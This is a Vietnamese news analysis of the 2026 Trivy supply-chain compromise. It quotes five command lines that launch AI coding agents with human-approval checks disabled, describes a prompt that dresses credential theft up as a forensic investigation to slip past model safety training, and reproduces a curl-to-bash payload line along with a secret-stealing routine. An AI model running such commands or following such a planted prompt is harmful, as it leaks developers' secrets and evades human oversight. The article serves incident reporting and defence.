Một minh họa biên tập trừu tượng trên nền xanh navy đậm: một khối văn bản thuần màu hổ phách phát sáng ở trung tâm của một lưới mạch điện, với năm đường mảnh màu hổ phách chạy ra năm cửa sổ đầu cuối tối giống hệt nhau xếp chồng dọc theo mép phải, một trong số đó được thắp sáng. Các nhãn Latin nhỏ ghi 'INSTRUCTION' và 'FIVE LOCAL AGENTS'. Không có chữ số, không có người, không có logo.
AI Safety Incidents

Vụ vi phạm chuỗi cung ứng của Trivy đã phát tán một prompt, không phải một stealer

Tác giả

Elias Hawthorne

Ngày đăng

Mô hình mới nhất · 20Xem tất cả mô hình →
Benchmark: Artificial Analysis · cập nhật hằng ngày
Quay lại tất cả bài viết

Từ ngày 27 tháng 2 đến ngày 2 tháng 3 năm 2026, một tài khoản GitHub tự động tự xưng là hackerbot-claw đã chiếm quyền kiểm soát kho lưu trữ đứng sau Trivy, công cụ quét lỗ hổng bảo mật mã nguồn mở mà các pipeline CI thường chạy trước khi phát hành một image container. Trong cùng khoảng thời gian đó, hai bản dựng của tiện ích Trivy cho VS Code đã xuất hiện trên registry OpenVSX dưới namespace chính thức của tiện ích, và chúng không chứa một infostealer thông thường. Chúng chứa khoảng 2.000 từ hướng dẫn bằng tiếng Anh, ra lệnh cho bất kỳ trợ lý lập trình AI nào mà nhà phát triển đã cài đặt — Claude Code, Codex, Gemini CLI, GitHub Copilot CLI hoặc Kiro CLI — hãy điều tra máy đó với tư cách là một giám định viên pháp chứng và đẩy những gì nó tìm được ra ngoài qua mọi kênh mà nó có thể tiếp cận. Chưa có trường hợp rò rỉ dữ liệu thành công nào được chứng minh. Kho lưu trữ ghi nhận sự việc này là một sự cố chuỗi cung ứng mức độ nghiêm trọng cao với tổn hại thực tế đã được ghi nhận, mức độ tin cậy A và không có cờ tranh chấp, đồng thời lưu nó vào Orca AI Incident Archive với ngày có độ chính xác đến ngày là 2 tháng 3 năm 2026.

Thực sự có gì bên trong phiên bản 1.8.12 và 1.8.13?

Socket, đơn vị quét các registry gói và tiện ích mở rộng, đã công bố phân tích vào ngày 2 tháng 3 năm 2026 sau khi tự phát hiện các artifact. Các phiên bản 1.8.12 và 1.8.13 của tiện ích mở rộng — được phát hành lên OpenVSX dưới namespace aquasecurityofficial.trivy-vulnerability-scanner lúc 12:04 UTC ngày 27 tháng 2 và 16:28 UTC ngày 28 tháng 2 tương ứng — chứa mã không xuất hiện trong kho lưu trữ công khai aquasecurity/trivy-vscode-extension hoặc trong bất kỳ bản phát hành nào có gắn thẻ, Socket cho biết. Mọi thứ tính đến và bao gồm 1.8.11 đều khớp với mã nguồn công khai, và bản dựng cục bộ của 1.8.11 khớp với artifact trên OpenVSX đến từng byte.

Payload nằm trong hàm kích hoạt workspace của tiện ích, pl(), hàm này kích hoạt mỗi khi lập trình viên mở một dự án trong trình soạn thảo đã cài tiện ích. Nó nằm trước mã thiết lập Trivy thông thường, nên tiện ích vẫn tiếp tục hoạt động như mong đợi trong khi phần còn lại chạy phía sau nó. Thứ nó chạy là năm dòng lệnh, mỗi dòng cho một trợ lý lập trình AI, và mỗi dòng đều được chọn để loại bỏ con người khỏi vòng lặp:

• Claude Code — claude -p --dangerously-skip-permissions --add-dir /, điều này cũng trao cho agent quyền đọc toàn bộ hệ thống tệp

• Codex — codex exec --ask-for-approval never --sandbox danger-full-access

• Gemini CLI — gemini prompt --yolo --no-stream

• GitHub Copilot CLI — copilot --autopilot --yolo -p

• Kiro CLI — kiro-cli chat -a --no-interactive

Cả năm đều được khởi tạo ở chế độ tách rời với đầu ra chuẩn và lỗi bị loại bỏ, và mọi lỗi đều bị nuốt mất, nên lập trình viên không thấy gì cả. Nếu không công cụ nào được cài đặt, mã vẫn chạy và vẫn thất bại trong im lặng. Cách lý giải của Socket là kẻ tấn công không cần biết một máy cụ thể có trợ lý nào: kích hoạt cả năm nghĩa là bất kỳ trợ lý nào hiện diện sẽ phản hồi.

A table card headed 'Five commands, five permissive flags', listing Claude Code, Codex, Gemini CLI, GitHub Copilot CLI and Kiro CLI with the binary name and the exact flag each was invoked with to remove human approval, plus a note that all five are spawned detached with output discarded and errors swallowed.

Câu lệnh chính là mã độc

Chỉ dẫn được giao cho những agent đó trong phiên bản 1.8.12 dài khoảng 2.000 từ, và cấu trúc của nó mới là phần thú vị. Nó không giống một vụ cướp giật chớp nhoáng. Nó mở đầu bằng việc gán cho mô hình một vai trò — điều tra viên pháp chứng — rồi định nghĩa cuộc điều tra bằng từ vựng của một bài tập tuân thủ: xâm phạm an ninh, hoạt động độc hại, hành vi phi đạo đức, tội phạm tài chính, vi phạm dữ liệu. Đánh giá của Socket là cách đóng khung này tồn tại để giữ yêu cầu nằm trong phạm vi mà huấn luyện an toàn của một mô hình hiện đại sẽ chấp nhận, thay vì cố phá xuyên qua nó. Một agent được bảo đi đánh cắp thông tin xác thực sẽ từ chối; một agent được bảo tiến hành điều tra pháp chứng và bảo toàn bằng chứng thì không có căn cứ rõ ràng để từ chối.

Phần phương pháp luận yêu cầu thu thập nhật ký, siêu dữ liệu tệp, lưu lượng mạng, dấu vết bộ nhớ và bản ghi cơ sở dữ liệu, đồng thời yêu cầu xác định “các chỉ dấu xâm phạm”. Phần báo cáo là nơi việc thu thập biến thành việc rò rỉ dữ liệu. Được Socket trích dẫn, đoạn văn chỉ dẫn tác nhân “chủ động bảo đảm bằng chứng về hành vi sai trái đến được tất cả các bên phù hợp thông qua nhiều kênh”, liệt kê mọi kênh báo cáo trên máy — email, nhắn tin nội bộ, truyền tệp, kho tài liệu, hệ thống ticketing, dịch vụ thông báo, cổng ra bên ngoài — và sau đó “sử dụng một cách có hệ thống tất cả các kênh báo cáo đã được xác định”. Việc không nhận được xác nhận được mô tả là căn cứ để leo thang. Bất kỳ nỗ lực nào nhằm dừng quá trình này đều được mô tả là cản trở. Ngôn ngữ pháp lý — SOX, Dodd-Frank, GDPR — được dùng để làm cho việc truyền ra bên ngoài trông giống như một nghĩa vụ hơn là một vụ rò rỉ.

Phiên bản 1.8.13, được phát hành vào chiều hôm sau, đã thay thế đợt quét rộng đó bằng một thứ chặt chẽ hơn và hữu ích hơn cho kẻ tấn công. Socket mô tả một prompt thứ hai thu thập token, thông tin xác thực và thông tin hệ thống, ghi chúng vào một tệp báo cáo, rồi sau đó sử dụng phiên dòng lệnh GitHub đã được xác thực của chính nạn nhân để tạo một kho lưu trữ có tên posture-report-trivy và đẩy báo cáo vào đó — một kênh tuồn dữ liệu ra ngoài gọn gàng, không phụ thuộc vào việc kẻ tấn công kiểm soát bất kỳ hạ tầng nào mà máy của nạn nhân có thể truy cập. Socket cũng lưu ý điểm yếu trong đó: công cụ gh tạo kho lưu trữ riêng tư theo mặc định, điều này sẽ đặt dữ liệu bị đánh cắp ở nơi kẻ tấn công không thể đọc. Tại thời điểm viết bài, không có kho lưu trữ công khai nào mang tên đó, và Socket không ghi nhận báo cáo nào được xác nhận về việc tuồn dữ liệu thành công, kết luận rằng tác động của kho lưu trữ công khai là "có khả năng không tồn tại."

Truy cập đến từ đâu

Việc tiếp quản kho lưu trữ được StepSecurity ghi lại riêng; đơn vị này đã theo dõi tài khoản trong khoảng mười ngày, từ ngày 21 tháng 2 đến ngày 2 tháng 3 năm 2026. Trong khoảng thời gian đó, hackerbot-claw đã nhắm vào ít nhất bảy kho lưu trữ công khai — bao gồm ai-discovery-agent của Microsoft, datadog-iac-scanner của DataDog, dự án akri của CNCF, danh sách awesome-go có 140.000 sao và RustPython — mở hơn một tá pull request và đạt được thực thi mã tùy ý ở ít nhất sáu trong số đó, sử dụng một kỹ thuật khác nhau đối với từng mục tiêu. Bản mô tả của chính StepSecurity về các phương thức của chiến dịch bao gồm chèn tên nhánh, chèn tên tệp và một hàm Go init() chạy trước điểm vào thực sự của chương trình.

Trivy là mục tiêu thứ bảy và là mục tiêu duy nhất mà chính kho lưu trữ bị xâm phạm. Vào 03:28 UTC ngày 28 tháng 2, tài khoản đã kích hoạt quy trình "API Diff Check" của Trivy thông qua pull request #10254. Quy trình đó chạy trên pull_request_target, vốn cấp cho workflow các secret và quyền của kho lưu trữ đích, trong khi lại checkout mã của tác giả pull request — mô hình mà StepSecurity gọi là "pwn request." Nhật ký build cho thấy payload curl -sSfL hackmoltrepeat.com/molt | bash thực thi bên trong bước "Set up Go". Mười chín phút sau, lúc 03:47 UTC, một personal access token bị đánh cắp từ lần chạy đó đã được dùng để push commit d267cc4 thẳng vào kho lưu trữ, bỏ qua hoàn toàn quy trình pull request.

Theo công bố sự cố của Aqua Security và bản tái dựng của StepSecurity về sự việc, những gì diễn ra sau đó là: kho lưu trữ bị chuyển sang riêng tư và đổi tên, toàn bộ bản phát hành GitHub từ 0.27.0 đến 0.69.1 bị xóa cùng các tài nguyên và thảo luận của chúng, README bị ghi đè bằng một thông điệp khiêu khích, và một tạo phẩm đáng ngờ đã được phát hành lên tiện ích VS Code trên OpenVSX. Aqua đã gỡ bỏ quy trình làm việc bị khai thác trong pull request #10259, thu hồi token được dùng để phát hành tiện ích, khôi phục kho lưu trữ và phát hành lại v0.69.2.

Có hai chi tiết về tác nhân này đáng được tách riêng khỏi phần còn lại. Thứ nhất là phần tự mô tả của nó: tài khoản GitHub tự gọi mình là "autonomous security research agent powered by claude-opus-4-5" và kêu gọi quyên góp bằng tiền mã hóa. Đó là lời khẳng định của chính tài khoản, không phải phát hiện của bất kỳ ai đã điều tra nó, và không có bài viết nào được xem xét ở đây xác minh mô hình nào, nếu có, đã thực hiện công việc đó. Thứ hai là chính tài khoản đó đã trực tiếp tấn công các hệ thống AI. Vào ngày 28 tháng 2 lúc 05:26 UTC, nó đã mở pull request #732 nhắm vào ambient-code/platform mang một prompt injection AI, mà StepSecurity ghi nhận là đã bị Claude phát hiện. Thao túng một trình đánh giá AI và thao túng một trợ lý lập trình AI là cùng một kỹ thuật nhắm vào hai mục tiêu khác nhau, và đến cuối tuần đó, tài khoản này đã sử dụng cả hai.

Ba tuần sau, một kẻ trộm bình thường

Vụ xâm nhập tháng Hai chỉ là nửa đầu của hồ sơ, và nửa sau là lý do từ "sustained" thuộc về tiêu đề của nó. Aqua đã công bố sự cố trước đó vào ngày 1 tháng 3 năm 2026 và bắt đầu xoay vòng thông tin xác thực. Theo khuyến cáo mà công ty sau đó công bố với mã GHSA-69fq-xp46-6x23, việc xoay vòng đó "không mang tính nguyên tử" — không phải tất cả thông tin xác thực đều bị thu hồi cùng một lúc — và kẻ tấn công có thể đã dùng một token vẫn còn hiệu lực để kéo các bí mật mới được xoay vòng ra ngoài trong khoảng thời gian đó, kéo dài vài ngày.

Vào ngày 19 tháng 3 khoảng 17:43 UTC, quyền truy cập tương tự lại được sử dụng, theo cách không đòi hỏi bất kỳ hành động nào từ phía nạn nhân. Kẻ tấn công đã force-push 76 trong số 77 thẻ phiên bản trong aquasecurity/trivy-action và toàn bộ bảy thẻ trong aquasecurity/setup-trivy thành các commit độc hại. Vì các pipeline CI thường tham chiếu một workflow bằng thẻ thay vì bằng mã băm commit, hàng nghìn pipeline không thay đổi một dòng cấu hình nào đã bắt đầu thực thi mã của kẻ tấn công. Bản phát hành độc hại, v0.69.4, được phát hành thông qua tài khoản dịch vụ aqua-bot bị xâm phạm và được phân phối qua GHCR, ECR Public, Docker Hub, các gói deb và rpm, và get.trivy.dev.

Payload này là loại thông thường. Tệp được chèn entrypoint.sh có 204 dòng, một trăm dòng đầu là infostealer còn phần còn lại là quá trình quét Trivy hợp pháp, nên workflow vẫn tạo ra đầu ra bình thường. Trên các runner do GitHub lưu trữ, nó kết xuất bộ nhớ tiến trình của Runner.Worker thông qua /proc/<pid>/mem và grep tìm cấu trúc JSON nội bộ mà GitHub Actions dùng để chứa bí mật. Trên các runner tự lưu trữ, nó duyệt qua hơn năm mươi đường dẫn trong hệ thống tệp để tìm khóa SSH, thông tin xác thực đám mây, token Kubernetes, cấu hình Docker, mật khẩu cơ sở dữ liệu, cấu hình VPN và ví tiền mã hóa. Dữ liệu thu thập được mã hóa bằng AES-256-CBC với một khóa phiên được bọc trong khóa công khai RSA-4096 nhúng sẵn, sau đó được gửi đến một miền typosquatting, scan.aquasecurtiy.org. Nếu việc đó thất bại và pipeline để lộ personal access token, payload sẽ tạo một kho lưu trữ công khai có tên tpcp-docs trên chính tài khoản của nạn nhân và tải gói lên đó dưới dạng tệp đính kèm bản phát hành.

A dark timeline card headed 'From a prompt to a poisoned tag', with nine dated entries from 27 February 2026 to 26 March 2026: the OpenVSX publication, the token theft, the repository takeover, the extension removal, the 1 March disclosure, the 19 March tag force-push, the 22 March Docker Hub images, the 23 March CVE, and the 26 March CISA KEV addition. Each entry names its source.

Aqua đã khống chế bản phát hành ngày 19 tháng 3 trong khoảng ba giờ và phát hành các phiên bản an toàn vào ngày hôm sau. Vào ngày 22 tháng 3, kẻ tấn công tái xuất với thêm hai image Docker Hub, 0.69.5 và 0.69.6, được đẩy trực tiếp lên registry bằng thông tin đăng nhập Docker Hub bị xâm phạm riêng biệt thay vì qua GitHub, đồng thời với việc công bố trái phép các kho lưu trữ nội bộ của Aqua thành công khai. Mã độc tự nhận diện trong một chú thích mã là "TeamPCP Cloud stealer," và khuyến cáo của Aqua nêu tên TeamPCP — được theo dõi ở nơi khác dưới tên DeadCatx3, PCPcat và ShellForce — đồng thời lưu ý rằng việc tự dán nhãn có thể là cờ giả.

Hồ sơ lỗ hổng tiếp theo vào ngày 23 tháng 3: CVE-2026-33634, do GitHub chỉ định với tư cách CNA, được đánh giá 9,4 mức nghiêm trọng trên CVSS 4.0, bao gồm Trivy 0.69.4, trivy-action trước 0.35.0, setup-trivy trước 0.2.6, LiteLLM 1.82.7 đến 1.82.8 và Telnyx 4.87.1 đến 4.87.2. CISA đã thêm nó vào danh mục Lỗ hổng đã bị khai thác đã biết vào ngày 26 tháng 3 với hạn chót khắc phục là ngày 9 tháng 4 năm 2026. Wiz Research riêng rẽ đã xác định một vụ xâm phạm song song đối với kics-github-action của Checkmarx, mà khuyến cáo của Aqua liên kết với cùng hoạt động đó.

Những gì bản ghi liệt kê ở phía hạ nguồn

Bài viết ngày 9 tháng 4 năm 2026 của Trend Micro là bản tái dựng công khai chi tiết nhất về chuỗi tấn công, và đưa ra thời gian chính xác đến từng phút. Checkmarx KICS: một phiên bản độc hại trên OpenVSX lúc 12:53 UTC ngày 23 tháng 3, bị gỡ bỏ trước 15:41, với toàn bộ 35 thẻ của checkmarx/kics-github-action bị viết lại từ 12:58 đến khoảng 16:50. LiteLLM: 1.82.7 trên PyPI lúc 10:39 UTC ngày 24 tháng 3, tiếp theo vào lúc 10:52 là 1.82.8, phiên bản đã thêm một tệp .pth để mã chạy khi Python khởi động bất kể proxy có được khởi chạy hay không; bị gỡ bỏ trước khoảng 16:00. Telnyx: 4.87.1 và 4.87.2 trên PyPI lúc 03:51 UTC ngày 27 tháng 3, biến mất mười sáu phút sau, gọi về một địa chỉ IP trần thay vì một tên miền.

Trend Micro liên kết cả ba với cơ sở hạ tầng dùng chung và với cùng khóa RSA-4096 được sử dụng trong payload Trivy. Cơ quan An ninh mạng Singapore, trong khuyến nghị AD-2026-001, liệt kê cùng nhóm — Trivy, LiteLLM, tiện ích mở rộng OpenVSX và Actions của Checkmarx, năm không gian tên npm, và Telnyx — là các thành phần của một “chiến dịch chuỗi cung ứng TeamPCP đang diễn ra.”

Axios là mục mà bản ghi liệt kê nhưng hai nguồn đó không xếp vào cùng một nhóm. Trend Micro có đề cập đến nó, trong cùng bài viết, nhưng dưới một tiêu đề gọi nó rõ ràng là một trục tấn công khác: axios 1.14.1 và 0.30.4 trên npm trong khoảng 00:21 đến 03:25 UTC ngày 31 tháng 3, bị xâm nhập thông qua một dòng phụ thuộc được thêm vào duy nhất kéo theo plain-crypto-js 4.2.1, mà script postinstall của nó đã chạy setup.js trên máy của nhà phát triển. Danh sách thành phần trong khuyến cáo của CSA không bao gồm Axios. Phần tóm tắt của kho lưu trữ nhóm nó cùng với phần còn lại; hồ sơ công khai ủng hộ sự tương đồng về kỹ thuật nhưng không có quy kết nào được công bố cho cùng một toán điều hành.

Điều gì đã được xác lập, và điều gì chưa.

Đã được xác lập và có nhiều nguồn xác nhận: hai bản dựng OpenVSX đã tồn tại, nội dung của chúng đã được công bố, và chúng đã bị gỡ bỏ vào ngày 28 tháng 2 sau khi Socket liên hệ với cả Aqua và cá nhân nắm giữ tài khoản nhà xuất bản. Năm dòng lệnh được trích dẫn nguyên văn trong phân tích của Socket. Việc chiếm đoạt kho lưu trữ Trivy, các bản phát hành bị xóa, việc đầu độc thẻ vào ngày 19 tháng 3 và các hình ảnh Docker Hub vào ngày 22 tháng 3 đều xuất hiện trong một thông báo của nhà cung cấp, một bài nghiên cứu độc lập và ít nhất một thông báo của chính phủ. CVE-2026-33634 và việc nó được đưa vào danh sách KEV là những vấn đề đã được ghi nhận.

Chưa được xác lập: việc bất kỳ nhà phát triển nào thực sự bị xâm phạm bởi tiện ích mở rộng này. Mã được viết để rút trộm dữ liệu và được xây dựng để tồn tại khi không có bất kỳ trợ lý đơn lẻ nào, nhưng Socket không tìm thấy kho công khai nào có tên như dự kiến và không có báo cáo được xác nhận nào về việc dữ liệu rời khỏi một máy, và đã nói rõ như vậy. Số lượng nhà phát triển đã cài đặt 1.8.12 hoặc 1.8.13 không được công khai. Số lượng tổ chức có pipeline chạy một thẻ bị đầu độc trong khoảng ngày 19 và 20 tháng 3 cũng vậy, mặc dù thời hạn KEV của CISA ngụ ý rằng cơ quan này coi việc khai thác là có thật chứ không phải trên lý thuyết.

Chuỗi quy kết cũng có một khoảng trống. Bản khuyến cáo của Aqua mô tả vụ tấn công ngày 19 tháng 3 là sự tiếp nối của vụ xâm nhập hồi tháng Hai, được tạo điều kiện bởi thông tin đăng nhập còn sót lại. StepSecurity, đơn vị đã ghi chép chi tiết vụ xâm nhập tháng Hai, gọi tác nhân là hackerbot-claw và không liên kết nó với TeamPCP. Aqua và Wiz quy kết hoạt động tháng Ba cho TeamPCP. Không có nguồn nào được xem xét ở đây nói rằng hai cái tên là cùng một toán điều hành, và kho lưu trữ cũng không khẳng định điều đó. Những gì hồ sơ cho thấy là một chiến dịch kéo dài nhằm vào một hệ sinh thái với ít nhất hai giai đoạn riêng biệt — một vụ xâm nhập do AI dẫn dắt vào cuối tháng Hai, và một đợt thu thập thông tin đăng nhập quy mô công nghiệp ba tuần sau đó — và một nạn nhân chung, không nhất thiết là cùng một kẻ ra tay.

Có một điểm sai lệch nhỏ hơn bên trong câu chuyện về tiện ích mở rộng. Socket định ngày hai bản dựng là 27 và 28 tháng Hai và quy việc xuất bản chúng cho một token nhà phát hành do một cựu nhân viên Aqua nắm giữ, người này đã thu hồi token đó khi được liên hệ. StepSecurity liệt kê "một tạo phẩm đáng ngờ được đẩy lên tiện ích mở rộng VS Code" trong số các hành động được thực hiện bằng token GitHub bị đánh cắp. Những mô tả đó nói về các thông tin xác thực khác nhau. Phiên bản 1.8.12 cũng được đưa lên lúc 12:04 UTC ngày 27 tháng Hai, khoảng mười lăm giờ trước vụ đánh cắp token mà StepSecurity ghi nhận lúc 03:28 UTC ngày 28 tháng Hai. Cả hai công ty đều chưa công bố bản đối chiếu nào, và bài viết này không tự nghĩ ra một bản như vậy.

A two-column card headed 'What the record supports, and what it does not'. The established column lists the two published builds, the five command lines, the repository takeover, the 76 force-pushed tags and CVE-2026-33634 with its KEV listing. The not-established column lists confirmed compromise, how many developers installed either build, how many pipelines ran a poisoned tag, who published 1.8.12, and whether hackerbot-claw and TeamPCP are one operator.

Điều gì đã thay đổi sau đó?

Các bản sửa cụ thể đã được ghi lại. Khuyến cáo của Aqua nêu rõ các phiên bản an toàn — Trivy 0.69.2 hoặc 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6 — và bảo bất kỳ ai có thể đã chạy một artifact bị ảnh hưởng hãy coi mọi bí mật có thể truy cập được từ pipeline đó là đã bị lộ và luân chuyển chúng. Vì cú force-push của kẻ tấn công khiến các thẻ trivy-action cũ bị GitHub ghi nhận là bản phát hành bất biến, không thể tạo lại các tên gốc; dự án đã phát hành lại chúng với v làm tiền tốaquasecurity/[email protected] giờ trỏ đến thứ mà @0.34.0 từng trỏ đến. Ba trong số các thẻ đó, v0.0.10, v0.34.1 và v0.34.2, chưa được khôi phục khi khuyến cáo được sửa đổi lần cuối. Aqua cũng đã thuê công ty ứng phó sự cố Sygnia để thực hiện pháp chứng, và tuyên bố rằng nền tảng thương mại của mình được cô lập về mặt kiến trúc khỏi hệ thống build mã nguồn mở, nên bản phát hành độc hại chưa bao giờ xâm nhập vào nó.

Bài học dễ áp dụng nhất là về tính bất biến, và nó đi ngược lại biện pháp phòng vệ hiển nhiên. Trivy 0.69.3 an toàn vì tính năng phát hành bất biến của GitHub đã được bật vào ngày 3 tháng 3, trước khi phiên bản đó được phát hành; trivy-action 0.35.0 an toàn vì tính năng này đã được bật ở đó vào ngày 4 tháng 3. Nhưng khuyến cáo của Aqua lưu ý rằng giao diện phát hành của GitHub cũng hiển thị huy hiệu “Immutable” bên cạnh các thẻ bị đầu độc, vì kẻ tấn công đã xuất bản các bản phát hành bất biến sau khi force-push chúng. Huy hiệu đó không nói lên điều gì cho những người phòng thủ. Ghim vào một SHA commit đầy đủ là biện pháp kiểm soát duy nhất còn hiệu lực, và đây là điều cả Aqua lẫn Trend Micro khuyến nghị.

Hướng dẫn của Trend Micro đi xa hơn việc ghim phiên bản và nhắm vào phần của vấn đề không liên quan gì đến AI. Tài liệu này khuyến nghị một thời gian chờ phát hành để các phiên bản gói mới được công bố không bị tiêu thụ ngay lập tức — của npm min-release-age, của pnpm minimumReleaseAge, của uv exclude-newer, của Bun minimumReleaseAge và của pip uploaded-prior-to — với lý do rằng hầu hết các phiên bản độc hại trong chiến dịch này chỉ tồn tại trong vài giờ, không phải vài ngày. Lockfile, phạm vi phiên bản hẹp hơn, lọc lưu lượng ra và kiểm soát thực thi đối với các công cụ như curl đều nằm trong danh sách.

Đối với phần OpenVSX của hồ sơ, phản ứng hẹp hơn. Hai bản dựng đã bị gỡ trong vòng khoảng bảy giờ kể từ lần liên hệ đầu tiên của Socket, mã thông báo nhà phát hành đã bị thu hồi, và khuyến cáo GHSA-8mr6-gf9x-j8qg được công bố vào ngày 27 tháng 2 đối với phiên bản 1.8.12 với mức độ nghiêm trọng là critical, không có phiên bản đã vá, và CVE-2026-28353 được GitHub gán vào ngày 5 tháng 3. Socket báo cáo thêm một chi tiết về khuyến cáo đó: Aqua sau đó nói với công ty rằng nó đã được tạo bởi chính con bot liên quan đến sự cố. Việc kẻ tấn công nộp khuyến cáo bảo mật cho chính tạo tác của mình không hẳn là một thất bại trong giảm thiểu, mà đúng hơn là lời nhắc về việc kẻ xâm nhập có quyền truy cập kho lưu trữ có thể chạm tới bao nhiêu phần của bề mặt phản ứng.

Điều không thay đổi lại chính là phần quan trọng nhất. Năm công cụ dòng lệnh vẫn phát hành kèm những cờ mà mục đích của chúng là chạy mà không cần con người can thiệp, và bất kỳ chương trình nào trên máy của nhà phát triển cũng có thể gọi chúng bằng những cờ đó. Nhận định kết luận của Socket là điều vẫn đứng vững bất chấp các con số phiên bản cụ thể: ý đồ độc hại ở đây được diễn đạt bằng ngôn ngữ tự nhiên thay vì bằng các endpoint được mã hóa cứng, và đó chính xác là thứ mà quét dựa trên chữ ký kém nhất trong việc phát hiện. Tiện ích mở rộng không bị phát hiện vì nó đã làm điều gì đó mà trình quét nhận ra. Nó bị phát hiện vì một nhà nghiên cứu đã đọc prompt.